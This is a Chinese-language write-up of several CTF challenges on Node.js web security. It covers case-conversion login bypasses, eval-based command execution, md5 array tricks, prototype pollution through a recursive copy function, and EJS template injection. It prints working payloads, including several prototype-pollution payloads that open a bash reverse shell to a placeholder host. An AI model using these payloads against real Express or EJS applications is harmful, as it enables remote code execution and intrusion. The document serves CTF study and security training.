Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库。
Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。
下载源码分析,user.js存在用户名和密码
在login.js存在findUser函数,其中name.toUpperCase()将小写字符串转换为大写
toUpperCase这个函数有个特点:
字符ı、ſ 经过toUpperCase()处理后结果为 I、S
字符K经过toLowerCase()处理后结果为k
Payload:
username=ctfshow
password=123456
或者
username=ctfſhow
password=123456
右键查看源代码发现提示
猜测可能是get上传eval参数执行nodejs代码
Payload:
?eval=require('child_process').execSync('tac f*').toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
发现好像过滤了一些东西,通配符无法使用。
Payload:
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['./fl001g.txt']).stdout.toString()
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
Payload1:
?a[0]=1&b[0]=1
可以发现两者的值相等,但是a!==b,后面跟上字符串后md5加密后的值也是相等的。
Payload2:
?a[x]=any&b[x]=anywhere
可以发现传入一个JSON值输出之后都是一个[object Object]+字符,所以md5加密后的值也是相等的。
注意:两个payload是不一样的,数字是数组的下标,字符是键值对。
在做原型链污染的时候最好使用bp发包,用hackerbar可能有点小问题。
参考链接:
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
大致的意思是我们需要找到一个能够控制数组(对象)的“键名”的操作。
我们可以在common.js中找到一个copy函数
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,就可以原型链污染。
在login.js中调用了copy函数
var secert = {};
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
Payload:
{"__proto__":{"ctfshow":"36dboy"}}
这道题比上个多出个api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
做个小测试
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
user = {}
body = JSON.parse('{"__proto__":{"query":"return 2233"}}');
copy(user, body)
{ query: Function(query)}(query)}
console.log(query)
发现query的值为2233,在调用copy时,原型链被污染了
那么为什么 {query: Function(query)(query)}为{ query : 2233 }
可以看到两者的执行结果是一样的,nodejs中定义函数这两种方法都可以。
Payload(非预期):
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"');var __tmp2"}}
先在login污染,后访问api反弹shell。这里为什么要用outputFunctionName,请看参考链接。
https://blog.csdn.net/DARKNOTES/article/details/124000520
这道题和上道题的区别在这里,user里面有个userinfo属性,userinfo的原型是user,user的原型才是object,所以要多加一层__proto__,我们要污染object中的query。
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
Payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}
通过snyk扫描源代码发现ejs 远程代码执行(RCE)
参考链接:
https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce
ejs漏洞由ejs模块中渲染页面触发的,位于app.js下。
app.engine('html', require('ejs').__express);
Payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"');var __tmp2"}}}
随后访问服务器根目录即可得到flag
直接放payload:
先在login污染原型,然后随便发一次包即可反弹成功。
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}
为什么没有过程?我不会哇
看大佬链接:https://tari.moe/2021/05/04/ctfshow-nodejs/
但是这位师傅的payload我没有反弹成功
与上题一样,多了个过滤,不影响。
login.js中多了,不知道这句话有什么用。
if(JSON.stringify(req.body).match(/Text/ig)){
res.end('hacker go away');
}
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}
这里利用JSON.parse()的解析特性,如果我们分开多个query传值,req.query.query会将所有参数query的值都放在一个数组中,接着JSON.parse()解析时会将数组中的元素都拼接起来再解析,这就绕过了逗号的使用。
c在url编码过程中会与"组成%22c,2c会与正则匹配。所以要把c进行URL编码为%63
Payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}